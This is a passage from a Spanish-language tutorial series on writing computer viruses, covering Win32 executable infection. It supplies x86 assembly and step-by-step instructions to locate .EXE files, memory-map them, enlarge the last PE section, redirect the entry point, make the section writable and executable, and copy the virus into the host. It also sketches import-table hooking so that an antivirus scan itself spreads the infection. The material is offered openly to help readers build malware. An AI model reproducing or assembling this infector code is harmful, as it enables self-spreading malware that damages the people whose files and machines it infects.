; Esto para el FindFirst  lea eax,[Find_Win32_Data+ebp] push eax lea eax,[Search_File+ebp] push eax mov eax,dword ptr [API_FindFirst+ebp] call eax  ; Esto para FindNext (por ejemplo)  lea     eax,[Find_Win32_Data+ebp] push    eax push    ebx mov     eax,dword ptr [API_FindNext+ebp] call    eax  Search_File: db '*.EXE',0  ; Para encontrar solo EXEs 

Y en fin, con más código que explicaciones (al fin y al cabo esto ya no es tan complicado ¿no? sólo es una estructura sobre la que se escriben los resultados de las llamadas), ya tenemos escrita la base mínima de un virus para Win32.

 

 

 

7.2.- Infección de ficheros PE

 

7.2.1.- Introducción

Hasta ahora ya hemos obtenido la forma de resituar los accesos a datos mediante el Delta Offset, llamar a la API de Windows y finalmente buscar ficheros; ¿y ahora qué? Bueno, pues ahora es el momento en el que nuestro bichito se ha encontrado con un fichero EXE (porque la máscara para buscar ficheros es *.EXE), y tiene unas ganas muy terribles de infectarlo.

Ayudémosle:

 

 

7.2.2.- Formas de acceder a ficheros

Existen habitualmente dos formas distintas de acceder a ficheros; una, la clásica, en realidad es bastante engorrosa y deberíamos olvidarnos de ella cuanto antes, porque supone un gasto absurdo de tiempo y espacio. La otra, ficheros mapeados en memoria, es la que vamos a utilizar.

Mediante la clásica, accedíamos a ficheros mediante un puntero que se desplazaba al leer/escribir o por llamadas a la API. Así, al escribir o leer del fichero pues leía o escribía justo donde marcaba el puntero, y este avanzaba. En sistemas operativos antiguos como Ms-Dos esta era la única forma de hacerlo, y de hecho los de Windows lo mostraron como un gran avance en Win32 (aunque los sistemas tipo Unix llevaban haciéndolo eones, pero así son los caminos del marketing).

El caso es que el sistema bueno para manejar ficheros, que usaremos tanto en Win32 como en Linux, es lo que se conoce como "ficheros mapeados/proyectados en memoria", muchas veces en Windows simplemente se dice MMF, Memory Mapped Files.

La base de este sistema está en el sistema de paginación que describí allá por los principios del curso de virus; en lugar de ir cargando y escribiendo porciones del fichero, lo que se hace al abrir un fichero por mapeado en memoria es hacer que unas cuantas páginas del proceso (dependiendo del tamaño del fichero abierto) se asignen a las posiciones de disco que contienen el fichero. Para entender esto supongamos un fichero de 11Kb y que el tamaño de páginas es de 4Kb. Así, se haría que la primera página apuntase a los 4 primeros Kbytes del fichero, la segunda a los 4 segundos y la tercera a los 3 que faltan. Pero estas páginas no contienen los datos en sí del fichero, sería absurdo cargarlo todo diréctamente puesto que hay partes del fichero a las que vamos a acceder y partes a las que no.

Entonces, cuando accedamos a una parte de fichero en lectura por primera vez accediendo a las posiciones de memoria de las páginas, el SO va a generar un error de fallo de página puesto que se intenta acceder a un trozo de memoria que no está ahí sino que reside en el disco duro (como sucede cuando una página ha sido desalojada de memoria principal para meterse en el disco duro, con el sistema de memoria virtual). El caso es que al surgir esta excepción de fallo de página el SO va a traer a memoria esa página con lo que se realizará la lectura; pero sólo de la parte a la que hemos accedido.

Las ventajas son evidentes; no tenemos que estar pendientes de llevar un puntero de acceso al fichero manejado por la API sino que simplemente accedemos a memoria y escribimos en ella para hacerlo sobre el fichero. Cuando cerramos el fichero, los cambios que hemos hecho en las páginas correspondientes al fichero se actualizan en el disco duro.

Pasando ahora un poco a la práctica, vamos a necesitar tres funciones para realizar la apertura de ficheros en Windows mediante Memory Mapped Files:

 
HANDLE CreateFile(  LPCTSTR lpFileName, // address of name of the file DWORD    dwDesiredAccess, // access (read-write) mode DWORD dwShareMode, // share mode LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of security descriptor DWORD dwCreationDistribution, // how to create DWORD dwFlagsAndAttributes, //    file attributes HANDLE hTemplateFile // handle of file with attributes to copy );

Esta es la ayuda que nos presenta el Win32.HLP. De aquí podemos ver que lpFileName es un puntero al nombre del fichero (que sacaremos de la estructura WIN32_FIND_DATA de antes, cuando buscamos ficheros), en DesiredAccess tendremos opciones de lectura y escritura (GENERIC_READ y GENERIC_WRITE), dwShareMode trata sobre la compartición del fichero abierto, lpSecurityAttributes (que no necesariamente es soportado, atributos de seguridad del fichero), dwCreationDistribution que trata sobre la forma de acceder (¿si no existe lo creamos? ¿si existe sobreescribimos? ¿sólo lo abrimos? etc), y otros dos sobre opciones de acceso que tampoco trataremos en detalle; tampoco hace falta darle demasiadas vueltas, con una fórmula sencilla estará solucionado y no hay que tenerlo todo en cuenta:

push 0 push 0 push 3 push 0 push 1 push 0C0000000h ; Read/Write access lea eax, [Find_Win32_Data+WFD_szFileName+ebp] push eax call dword ptr [API_Create+ebp] ; Delta offset en ebp  

Ah por cierto fijáos que la forma de empujar los parámetros es en el órden inverso al descrito en las funciones de win32.hlp, que luego nos rallamos por la tontería cuando el fallo era ese xD. Bueno, a lo que iba; dwFlagsAndAttributes y hTemplateFile no nos importan y empujamos un cero a la pila. El 3 que empujamos con dwCreationDistribution indica OPEN_EXISTING, es decir, abrir y punto sólo si existe el fichero. El siguiente cero que empujamos es porque no necesariamente tiene estructura de atributos de seguridad (esto se aplica en NT por ejemplo, pero no en un 95/98 donde no existen estos sistemas de seguridad). El 0C0000000h se refiere al acceso deseado (lectura/escritura) y finalmente el W32_Data+WFD_szFileName indica el offset respecto a la estructura Win32_Find_Data donde se encuentra el nombre obtenido mediante FindFirst/FindNext.

El caso es que esta llamada a función nos devolverá un "handler" en EAX. Este handler es un valor que más nos vale conservar, pues se va a utilizar como referencia para manejar el fichero en posteriores ocasiones; la cosa es sencilla, en los datos internos del proceso que se está ejecutando (en este caso un fichero infectado con nuestro virus) hay una serie de "handlers" o descriptores que se relacionan con ficheros abiertos (aparte de, de forma standard, con el input, output, etc, pero esto ya es otra historia). Esta, es la forma en que se manejan los ficheros; el descriptor o handler que tenemos en EAX es la referencia para poder seguir operando con el fichero abierto.

Lo mejor entonces es guardar eax en algún registro donde lo tengamos controlado y no lo perdamos en toda la infección, pues lo tendremos que utilizar luego para cerrar el fichero abierto y guardar los cambios.

mov ebx,eax inc eax jnz No_Hay_Problema

Esto sería la comprobación justo posterior a la apertura de fichero; salvamos EAX en EBX, y comprobamos con el Inc EAX si es igual a 0FFFFFFFFh (o -1, que incrementandolo dara cero). Si lo es, dejamos de infectar porque hubo algún problema al abrir el fichero (nunca está de más la comprobación de errores).

La siguiente función que vamos a tener que usar para nuestro cometido es la de CreateFileMapping, cuya estructura es como sigue:

 
HANDLE CreateFileMapping(  HANDLE hFile, // handle of file to map LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes DWORD flProtect, // protection for mapping object DWORD dwMaximumSizeHigh, // high-order 32 bits of object size DWORD dwMaximumSizeLow, // low-order 32 bits of object size LPCTSTR lpName // name of file-mapping object );

Ya vemos que uno de los parámetros, HANDLE hFile, es el handler que nos pasaron antes en EAX; como dije vamos a necesitarlo bastante para seguir tratando con el fichero. Tenemos de nuevo atributos de seguridad y protección, el nombre del objeto mapeado (se puede poner como 0), y otro campo importante que es el del tamaño de fichero; ¿por qué importante? Pues bien, porque esto va a determinar el tamaño del fichero cuando lo cerremos. Si determinamos un tamaño del objeto de 20k y era un fichero de 11k, se van a mapear 20k en memoria (los últimos 9 sin información coherente), y se va a salvar cuando cerremos. Como os podéis imaginar no hay nada como poner como tamaño del objeto justo el del fichero mas el de nuestro virus

  mov edi,dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp] add edi,virus_size    ; Host plus our size push 0 push edi push 0 push PAGE_READWRITE ; R/W push 0    ; Opt_sec_attr push ebx ; Handle call dword ptr [API_CMap+ebp]  


En el pequeño listado puede verse lo que hacemos; EDI tiene el tamaño del fichero, al que se le añade el del virus (el tamaño del virus está calculado con EQUs y tal); ponemos ceros para lpName, SizeHigh y OptSecAttr, y para la protección del fichero mapeado permiso de lectura/escritura (PAGE_READWRITE). Finalmente empujamos el handler y llamamos a la función; en esta ocasión si la función falla Windows no nos va a devolver EAX=-1 sino EAX=0 lo que se puede comprobar con un or eax, eax. Supongo que para hacernos la vida más variada xD. La cuestión es que, si no falla (que no debería, ¿no?) nos devolverá en EAX un nuevo handler del que también habrá que estar pendientes.

Y en fin, nos acercamos al momento decisivo . Sólo nos falta utilizar la tercera función, ya que hemos abierto el fichero, lo hemos de nuevo abierto mediante mapeado en memoria, y ahora haremos el mapeado efectivo... para ello, la función MapViewOfFile; y pasamos diréctamente a dar su especificación:

 
LPVOID MapViewOfFile( HANDLE hFileMappingObject, // file-mapping object to map into address space DWORD dwDesiredAccess, // access mode DWORD dwFileOffsetHigh,	 // high-order 32 bits of file offset DWORD dwFileOffsetLow, // low-order 32 bits  of file offset DWORD dwNumberOfBytesToMap // number of bytes to map );  

Bueno esta ya tiene menos parámetros, ¿no? xD. El Handle que hay que enviarle es el que nos dio CreateFileMapping, el DesiredAccess es FILE_MAP_ALL_ACCESS, dwFileOffsetHigh y Low los pondremos a cero (es una indicación a mano que podemos hacer de que haga el mapeado en memoria en el lugar donde nos dé a nosotros la gana lo cual tampoco es necesario), y eso sí, en NumberOfBytesToMap meteremos el valor de EDI que habíamos puesto antes, es decir, el tamaño del fichero con nuestro virus.

push edi push 0 push 0 push FILE_MAP_ALL_ACCESS push eax ; handle call dword ptr [API_MapView+ebp]

Así que con esto ya está, tenemos ahora en EAX algo muy muy importante, que es la base address a partir de la cual acceder al fichero mapeado; es decir, que si el fichero se cargó en la dirección 0700000h, EAX va a contener justo esa cifra, el principio del fichero... con lo que ya vamos a tenerlo dispuesto para poder abrir e infectar a nuestro gusto.

Por último, advertir que esto que hemos abierto luego hay que cerrarlo. Para ello hay dos funciones, UnmapViewOfFile y CloseHandler. Sólo hay que pasarles un parámetro, que es la base donde se ha cargado el fichero en memoria (el EAX de antes, conservadlo), y en caso de CloseHandler, el handler que nos pasaron al abrir el fichero. El código para hacerlo es obvio porque sólo hay que empujar un valor y llamar a la API, aun así copio la especificación de las funciones:

 
BOOL UnmapViewOfFile(  LPVOID lpBaseAddress // address where mapped view begins );  BOOL CloseHandle( HANDLE hObject );

Pues así de sencillo... por cierto, hay un detalle que quizá os está escamando; al empujar valores a la pila utilizo valores como FILE_MAP_ALL_ACCESS, que si GENERIC_READ, que si tal; sin embargo, si ponéis eso así, a pelo, el Tasm os va a dar errores de compilación diciéndoos que qué son esas palabras que habéis metido ahí y que no significan nada. Lo que necesitáis son ficheros de definición. Por ejemplo, el 0C0000000h en CreateFile lo metí a pelo; en realidad nosotros evidentemente no estamos empujando a la pila ninguna palabra que diga GENERIC_READ o lo que sea, sino que empujamos un número. Por suerte, se puede conseguir la conversión de esas palabras a números en muchos includes de ayuda por ahí desperdigados, puesto que cosas como escribir "GENERIC_READ" lo que pretenden es hacernos la vida más fáciles a los programadores en lugar de tener que recordar qué bits indican qué cosa en cada uno de los tipos de parámetros a API que puedas invocar.

En fin, así, qué remedio, tendréis que buscar algún include decente; al fin y al cabo esto es necesario pues en las referencias a funciones que encontréis en ayudas como el Win32.hlp no vais a ver el valor hexadecimal o de máscara de bits de lo que tenéis que empujar a la pila para hacer determinadas cosas con funciones, sino tan sólo estos nombres que han de ser traducidos. Tarde o temprano, pues, tendréis que usar algún "fichero include" de referencia para programar (hay por ejemplo una de Jacky Qwerty llamada Win32api.inc que salió en 29A#2 por ejemplo, y probablemente tendréis definiciones en compiladores como Visual Basic, etc etc etc)


7.2.3.- Formato PE (Portable Ejecutable)

Ya no puedo dejarlo para más adelante, hay que echarle un vistazo bien a fondo al formato de los ejecutables de Windows, conocido como PE (Portable Ejecutable), ya que se trata de algo necesario si queremos infectarlos, ¿verdad?. Conseguimos averiguar la dirección de GetProcAddress en la export table aun sin explicar mucho como esta organizado un PE, pero esto ya se hace necesario a la hora de una infección seria. Sólo comentar, que para una información más amplia y detallada del formato PE nada como buscar el capítulo de Matt Pietrek de su libro "Windows 95 Programming Secrets", llamado "The Portable Executable and COFF OBJ Formats". Sé que hay alguna copia en la red así que es de esas cosas que es interesante que busquéis. En cualquier caso, intentaré documentar al menos lo necesario para poder infectar un fichero de Windows.

Lo primero, es decir que el fichero ejecutable en disco es bastante parecido al aspecto que tendrá en memoria; un fichero PE está dividido en piezas por así decirlo, con cierta información sobre cómo colocar esas piezas en memoria en su estructura en disco. En la cabecera PE se indicará la dirección en la que preferiría ser ubicado en memoria, así como, para cada sección, la dirección relativa (RVA) en la que deberían colocarse sus secciones respecto a esta dirección base. Las referencias a datos y demás, dependientes de la ubicación en memorias, serán recalculadas dinámicamente al cargar el fichero en memoria.

Así pues, el esquema básico de un PE es el siguiente:

 
Cabecera 'MZ' (Ms-Dos)
 
File Header (PE)
 
Optional Header
 
Tabla de secciones

 

Secciones

.edata, .idata, .data, .text, .reloc, etc

 
Código de debuggeo (opcional)

Vayamos por partes:

 

 

- Cabecera 'MZ'

Esta va a servir fundamentalmente para dos cosas; por un lado nos va a mostrar un mensaje de "no, esto no es Windows" cuando se intente ejecutar el fichero desde alguna versión antigua de Ms-Dos. Por otro, tendrá un interesante puntero en el desplazamiento 03ch hacia la cabecera PE. Por supuesto, además tiene la gran ventaja de que aunque para un programa en memoria no sirva para nada se carga en ella para ocupar más espacio, otro gran ejemplo de optimización en su casa gracias a Microsoft(tm).

 

 

- File Header

Esta ya es la cabecera PE en sí. Sus 4 primeros bytes van a ser las letras PE y dos bytes a cero. El resto de los campos son los siguientes:

Desplazamiento Tamaño y nombre Contenido
00h DWORD Cabecera Su contenido es PE/0/0
04h WORD Machine Tipo de máquina para la que se compiló; Intel I386 corresponde a 014Ch
06h WORD NumberOfSections Número de secciones contenidas en el programa
08h DWORD TimeDateStamp Fecha y hora en la que el fichero fue producido en otro extraño formato xD
0Ch DWORD PointerToSymbolTable Sólo utilizado en ficheros OBJ y los ejecutables con opciones de debugging
10h DWORD NumberOfSymbols Relacionado con el anterior
14h WORD SizeOfOptionalHeader Tamaño de la cabecera opcional (que normalmente si va a estar presente, faltaría en caso de los ficheros OBJ)
16h WORD Characteristics Indica si es una DLL, un EXE o un OBJ

 

 

- Optional Header

La cabecera opcional también la vamos a tener muy en cuenta; la forma de acceder a ella es simple, ya que está justo después de la File Header. Exáctamente está en la posición 18h respecto a la cabecera PE; de hecho y a efectos de que vamos a utilizarla tanto como la File Header, consideraré como si el desplazamiento fuera respecto a la File Header en la siguiente tabla (en la que eso sí voy a omitir las partes que no me resultan importantes, puesto que se extiende hasta un desplazamiento 78h desde este 18h sin contar el array variable de Image_Data_Directory que lo alarga de forma variable)

Desplazamiento Tamaño y nombre Contenido
01Ch DWORD SizeOfCode Tamaño combinado y alineado respecto al alignment de las secciones de código (normalmente reproduce el contenido del tamaño de la .text, pues sólo suele existir esa sección de código). Los siguientes campos, que omitiremos, tratan sobre diversas consideraciones del tamaño.
028h DWORD AddressOfEntryPoint Esto sí que nos interesa; el punto de entrada (RVA) respecto a la base del fichero en la que comenzamos a ejecutar.
034h DWORD ImageBase Indica la dirección por defecto a la que el compilador desea que se mapee el fichero en memoria al ejecutarse.
03Ch DWORD FileAlignment Este campo muestra el alineamiento con el que habrá que alinear el tamaño del fichero, para alinearlo con el principio de sectores en disco.
074h DWORD NumberOfRVAndSizes Indica el número de entradas en el array de DataDirectory
078h ARRAY of DataDirectory Este array va a contener la RVA y tamaños de porciones interesantes del PE.

Realmente, de aquí en principio habremos de tener pocas cosas en cuenta, aunque en particular será importante modificar como es evidente el AddressOfEntryPoint. La estructura DataDirectory contiene siempre RVA y tamaño de algunos trozos importantes del fichero como explica la tabla; en particular, resultará cómodo a la hora de buscar exportaciones e importaciones, pues son las dos primeras a las que siempre hace referencia; en 78h tendremos la RVA a .edata, en 7Ch su tamaño, en 80h la RVA a .idata y en 84h el tamaño de esta.

 

 

- Tabla de secciones

La tabla de secciones es un array de varias estructuras (un array de la misma longitud que el número de secciones). Así, va a haber una estructura fija para describir a cada sección, que se repetirá tantas veces como secciones haya (y de forma secuencial en el fichero).

Para acceder a esta tabla, lo que haremos será coger el principio de la cabecera PE, sumarle 18h (tamaño de la File Header), buscar el esta File Header el tamaño de la OptionalHeader y sumárselo también. Así, tendremos la dirección en la que comienza la tabla de secciones para poder leer.

Cada entrada en la tabla tiene un tamaño de 28h bytes, y su formato (esta vez incluyo todos los datos) es el siguiente:

Desplazamiento Tamaño y nombre Contenido
00h 8-BYTE -> Name El nombre de la sección, contenido en un espacio de 8 bytes
08h DWORD VirtualSize Tamaño del real de la sección antes de ser redondeado por el alignment
0ch DWORD VirtualAddress Dirección RVA donde ha de situarse la sección respecto a la base del PE
010h DWORD SizeOfRawData Tamaño de la sección tras ser redondeada por el alignment
014h DWORD PointerToRawData El offset donde puede encontrarse la sección en el fichero en disco.
018h DWORD PointerToRelocations Sin sentido en EXEs
01Ch DWORD PointerToLineNumbers Idem (relación entre números de línea y código, por si debugging)
020h WORD NumerOfRelocations De nuevo sin sentido en EXEs (realocaciones en el puntero de 18h)
022h WORD NumerOfLineNumbers Numero de LineNumbers a los que apunta 01Ch
024h DWORD Characteristics Los flags de la sección; flags de lectura, escritura, ejecución, etc

De toda esta información haremos caso a los cuatro primeros datos y al último; si nuestra intención al infectar es meternos dentro de una sección (el método más standard, aunque se puede crear otra), tendremos que modificar el VirtualSize, calcular el nuevo SizeOfRawData y modificarlo, cambiar las Characteristics para poder hacerlo Writeable y Executable en caso de que no lo fueran, y acceder a la sección a través de la VirtualAddress. El alignment va a ser el genérico del fichero e indicado en la Optional Header (por defecto, 200h, el tamaño de un sector en disco).

 

 

- Secciones

Ya nada es tan sencillo como dividir las cosas en "código, datos y pila". Precedidas por un ".", que Microsoft indica como imprescindible pero que no lo es en la práctica, cada sección de un fichero PE va a cumplir una función determinada, y he aquí el significado de algunas de las secciones más comunes:

.text -> Este es el nombre habitual de la sección de código. Normalmente con flags de ejecución y permiso de lectura, pero no de escritura.

.idata -> Tabla de importaciones; se trata de una estructura que contiene las APIs importadas por el fichero PE así como las librerías de las cuales las importa.

.edata -> Tabla de exportaciones, más propia de ficheros DLL (librerías dinámicas API), con las APIs que el ejecutable exporta.

.bss -> Sección de datos sin inicializar; no ocupa espacio en el disco duro, pues hace referencia a espacio de memoria que ha de reservarse para datos que de por sí no vienen inicializados al comenzar el ejecutable, pero que sí van a ser utilizados por este.

.data -> Datos inicializados, aquellos que tienen valor cuando comienza la ejecución del programa y que por tanto ocupan espacio en disco.

.reloc -> Tabla de realocaciones. Se trata de un ajuste para instrucciones o referencias a variables, dado el hecho de que en ocasiones se ha de cargar el fichero en una dirección distinta de memoria, y las referencias a memoria han de ser reajustadas.

 

 

 

7.2.4.- Teoría sobre infección de ficheros PE

Utilizaremos en esta explicación el "método 29A", consistente a grandes rasgos en la ampliación de la última sección del ejecutable y la copia del virus al final de esta sección, de modo que pertenezca a esta.

Lo primero que se suele hacer, tras abrir y mapear el fichero EXE, es comprobar si es adecuado para la infección; obtenido el inicio de la cabecera PE, lo básico que hay que ver es lo siguiente:

- ¿La cabecera es efectivamente PE/0/0?

- ¿Existe una optional header? Sino, nos despediremos

- ¿El fichero es ejecutable?

Todo ello lo podemos resumir en el siguiente código:

mov bx,word ptr ds:[eax+03ch]   ; Suponiendo EAX = base address add edx,ebx                     ; Cabecera PE mov bx,word ptr ds:[edx]        ; Cogemos la cadena "PE" en BX cmp bx,'PE' jnz cerramos                    ; Si no lo es, cerramos  or word ptr ds:[0014h+edx],0    ; ¿Existe la optional header? jz cerramos                     ; Si el valor es cero, adios  mov ax,word ptr ds:[016h+edx]   ; ¿El fichero es ejecutable? and ax,0002h jz unmap_close

Hecho esto, y dado que queremos meternos en la última sección, el siguiente paso será localizar esta última sección. Ojo, que aunque en la mayoría de los ficheros la última sección físicamente en el fichero es también el último registro en la tabla de secciones, esto no es necesariamente así. Para comprobar cuál es efectivamente la última, cogeremos la tabla de secciones e iteraremos buscando cuál es la que tiene una RVA mayor; así, estaremos muchísimo más seguros. Por tanto, sigamos con código:

mov esi,edx  ; EDX en PE/0/0, obtenemos offset de la tabla de secciones add esi,18h mov bx,word ptr ds:[edx+14h] add esi,ebx  movzx ecx,word ptr ds:[edx+06h]   ; numero de secciones  ; La cuestión es seguir recorriendo la tabla, comparando lo siguiente:  cmp dword ptr [edi+14h],eax jz Not_Biggest

La sección que tenga ese campo en [sección+14h] más alto, será la que infectemos al ser la última. Entonces, ¿qué debemos hacer ahora para continuar la infección?. En primer lugar aumentaremos la VirtualSize de la sección según el tamaño de nuestro virus para dejarle espacio (pues nuestro objetivo es infectar aumentando el tamaño de la última sección y metiéndonos dentro). El problema, reside en que no sólo hemos de tener en cuenta la VirtualSize, sino también otro dato llamado SizeOfRawData, que ha de ser divisible por el "alignment"

¿Qué es el "alignment"? Pues es un número al que está redondeada la SizeOfRawData y que se puede encontrar en la cabecera del PE (normalmente es 200h, 512 en decimal, para alinear respecto a sector del disco). Así, si tuviéramos un nuevo "VirtualSize" de 5431h con nuestro virus, en SizeOfRawData el valor sería de 5600h. ¿Código? Sí, vayamos con código:

mov eax,virus_size xadd dword ptr ds:[esi+8h],eax ; la VirtualSize push eax  ; VirtualSize antigua add eax,virus_size  ; Eax vale la nueva VirtualSize  mov ecx, dword ptr ds:[edx+03ch] xor edx,edx div ecx         ; dividimos para ver el numero de bloques  xor edx,edx inc eax mul ecx         ; multiplicamos por el tamaño de bloque mov ecx,eax mov dword ptr ds:[esi+10h],ecx   ; SizeOfRawData 

Hecho esto, el siguiente paso va a ser cambiar el entry point del programa (el punto donde comienza a ejecutarse) de modo que apunte hacia nosotros. La idea, es que el virus se ejecute primero y, sin ser advertido, pase el control al programa principal. Así pues guardaremos el antiguo entry point (que está en el desplazamiento 28h respecto a la file header) y calcularemos el nuevo haciendo que apunte al final de la sección que vamos a infectar; es decir, el punto en el que vamos a copiar el virus completo.

pop ebx 		; VirtualSize - virus_size (lo habiamos empujado en "VirtualSize antigua") add ebx,dword ptr ds:[esi+0ch]    	; + la RVA de la sección mov eax,dword ptr ds:[edx+028h]     ; Guardamos el viejo entry point mov dword ptr ds:[edx+028h],ebx     ; Ponemos el nuevo

Lo siguiente que hay que tocar es el campo "characteristics" de la tabla. En él, nos interesa hacer que la sección pueda leerse, escribirse y ejecutarse para que nuestro virus tenga total libertad. Este campo es tipo "máscara de bits", 32 bits cada uno de los cuales tiene un determinado significado. Tres de ellos los vamos a poner a uno para tener estos permisos, con una orden como "or [edx+024h] , 0C0000000h". Los valores que puede tomar la sección Characteristics son los siguientes (que se combinan entre sí en una máscara de bits):

Flag Descripción
0x00000020h La sección contiene código (normalmente unido al flag de ejecución, 0x80000000h)
0x00000040h La sección contiene datos inicializados
0x00000080h Contiene datos sin inicializar
0x00000200h Contiene comentarios u otro tipo de información
0x00000800h Los contenidos de esta sección no deberían situarse en el EXE final (información para el compilador)
0x02000000h La sección puede ser descartada, el proceso no la necesita al ejecutar
0x10000000h Sección que puede compartirse (para DLLs, por ejemplo)
0x20000000h La sección es ejecutable
0x40000000h Pueden leerse datos de esta sección
0x80000000h Pueden escribirse datos en esta sección.

Después de esta modificación en las Characteristics, ajustaremos también el tamaño de SizeOfImage, referente al fichero en su totalidad y que también ha de estar alineado al mismo estilo que el "alignment" (que como dije, está en [FileHeader+03ch]). Esta vez no necesitaremos dividir; si hemos guardado el SizeOfRawData antiguo y el nuevo (recordad, el que está alineado) de la sección, no hay más que restar ambos y ver cuanto resulta. Esto, se lo sumamos al SizeOfImage con una instrucción como "add [edx+050h], eax" si eax contiene esta diferencia entre SizeOfRawData(nuevo)-SizeOfRawData(antiguo).

¿Qué nos queda por hacer? Pues muy poco por suerte, tan sólo copiar nuestro virus en el hueco que hemos hecho al ampliar el tamaño de la última sección. Teniendo en EDI la base del fichero mapeado (para añadirle las RVAs):

add edi,dword ptr ds:[esi+14h] ;14h = PointerToRawData, inicio de la seccion add edi,dword ptr ds:[esi+8h] ;8h = VirtualSize, añadimos el tamaño de la seccion sub edi,virus_size            ;Le restamos el tamaño del virus lea esi,[ebp+virus_start]     ;ESI en el principio de nuestro virus mov ecx,virus_size			  ;ECX = Tamaño del virus rep movsb					  ;Copiamos todo el virus

Y no hace falta nada más para poder decir que hemos infectado un ejecutable de Windows. Haciendo una breve recapitulación de los pasos a dar podemos ver que, aunque puede sonar a que son muchas cosas, en realidad no se trata de algo tan complejo. Para infectar, pues, debemos:

 
- Buscar la última sección del fichero - Aumentar su tamaño en N, tal que N = Tamaño del virus - Recalcular tamaño de la sección alineada y del fichero alineado - Cambiar el entry point para que apunte al final de la sección - Poner permisos de lectura/escritura/ejecución en la sección - Copiar el virus en el hueco creado, su primer byte en el nuevo entry point.

Con esto acabamos entonces la infección de ficheros de formato Portable Ejecutable.

 

 

 

7.3.- Residencia Per-Process

 

7.3.1.- Residencia per-process

Hasta ahora hemos tenido la limitación consistente en que al infectar lo único que hacíamos era repasar el directorio actual con FindFirst/FindNext copiándonos a los ficheros ejecutables que encontráramos. Esto puede dejar al virus aislado e impedir una verdadera reproducción; una solución sería por ejemplo tras dar este repaso copiarnos a todos los ficheros del directorio Windows (existe una API que nos soluciona bastante trabajo llamada GetWindowsDirectory, que combinada con SetCurrentDirectory nos permitiría lanzarnos al núcleo).

No obstante, bajo Win32 se pueden utilizar técnicas que rompan esta limitación de zonas de infección; hablo de la residencia, aunque en este caso una residencia limitada dado que se reduce al proceso actual.

Quienes trabajaran con virus en Ms-Dos recordarán la forma en que hacíamos que un programa fuera residente en memoria; toqueteando los MCBs (Memory Control Blocks) nos hacíamos con un espacio en memoria e interceptábamos llamadas a funciones normalmente de la Int21h como "AbrirFichero", etc. Entonces, cuando se abría un fichero, el virus lo infectaba caso de ser infectable.

Pues bien, aquí existe una técnica muy parecida, que dado que se reduce al proceso en el que estamos trabajando, se conoce como "residencia per-process". Los ejecutables de Windows se dedican a importar funciones de distintas librerías, entre otras de la más importante, Kernel32.DLL. Dentro del código del ejecutable, se llama a estas funciones. Pero, ¿y si pudiéramos meternos en medio de estas llamadas, capturarlas y actuar en consecuencia?. Pues ahí reside el interés de esta técnica.

El fichero importa una serie de APIs, nosotros buscamos la que nos interesa (por ejemplo, FindFirst/FindNext) y la parcheamos. En la tabla de importaciones del fichero que está ejecutándose vamos a tener información acerca de las APIs importadas y las direcciones a las que se va a llamar cuando se utilicen estas APIs. Por tanto, lo que haremos será cambiar estas direcciones que nos interesan para que apunten a nuestro código. Luego, haremos normalmente la llamada a la API, pero al mismo tiempo procuraremos infectar aquello con lo que el fichero está jugando. ¡No hay más que imaginar el gran aliado que puede ser un antivirus que recorra todo el disco duro si le parcheamos las funciones de FindFirst/FindNext!

No daré código explícito para este tipo de técnica, pues es algo que resulta interesante que cada uno desarrolle utilizando los conocimientos que pueda adquirir sobre Windows; llevar a cabo estas rutinas, donde tendremos que tener en cuenta las importaciones y nuestro propio virus, asegura - creo yo - entender bastante más a fondo la forma que tiene Windows de manejar sus procesos.

Sólo aclararé, eso sí, el formato de la tabla de importaciones (aunque como dije, nada como los textos de Matt Pietrek). Primero, que la RVA a esta tabla puede encontrarse en el PEFileHeader + 080h por defecto (recordad que este tipo de residencia se hace respecto al fichero en el que el virus se está ejecutando, con lo que si el virus está ejecutándose en 040A013h quizá el principio del programa esté en 0400000h).

La tabla de importaciones es un array de estructuras de datos llamadas Image_Import_Descriptor, uno por cada DLL importada, y con un aspecto como el siguiente:

Desp Tamaño Nombre Descripción
00h DWORD Characteristics Puntero a una lista de HintNames
04h DWORD TimeDateStamp Fecha de construcción, normalmente a cero
08h DWORD ForwarderChain Para forwarding de funciones (escasamente documentado)
0Ch DWORD Nombre RVA a una cadena ASCII con el nombre de la DLL
10h DWORD FirstThunk Puntero a una lista de ImageThunkData

¿Y qué hago yo con esto? Tranquilidad, aún no está todo explicado... el array de HintNames y el de Image_Thunk_Data son dos tablas que van a hacer referencia a una lista de nombres de función, sólo que por lados diferentes. Pero el array del HintName no está necesariamente presente en los ficheros PE, con lo que el campo que nos va a importar es el que apunta a FirstThunk en ImageThunkData. El tamaño de cada entrada en esta lista es de un DWORD, y cuando estamos hablando de un fichero cargado en memoria (porque se esté ejecutando, ojo), cada entrada en ese array es la dirección de una API de la DLL correspondiente.

¿Qué debemos hacer entonces? Miramos adonde apunta ese desplazamiento 10h, y recorremos el ImageThunkData viendo las RVAs a las que apunta. ¿Cómo identificar desde aquí las APIs utilizadas? Siempre podemos obtenerlas con GetProcAddress y después mirar si coinciden las entradas en ImageThunkData (aunque como verá quien se lance a hacerlo, esto no es exáctamente así...). ¿Cómo parchear las funciones? Bien, la tabla de importaciones suele tener permiso de escritura activado, con lo que no hay más que hacer que apunte a nuestro código...

Un último apunte; esta es una de esas técnicas que, bien hecha, funcionan para cualquier versión de Windows... con lo que si queremos mantener la compatibilidad, es de las mejores opciones que tenemos. Con este objetivo, existen también algunas otras, desde jugar con el registro o infectar el fichero Kernel32.DLL a crear VxDs (por así decirlo DLLs que funcionan a nivel supervisor), en fin, un mundo por descubrir...

 

Y... vaya, con esto llega a su final la séptima entrega del curso de programación de virus; de aquí a la octava, infección bajo Linux.

Black Hole  
   
Facebook botón-like  
 
 
Hoy hay 4 visitantes¡Aqui en esta página!
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis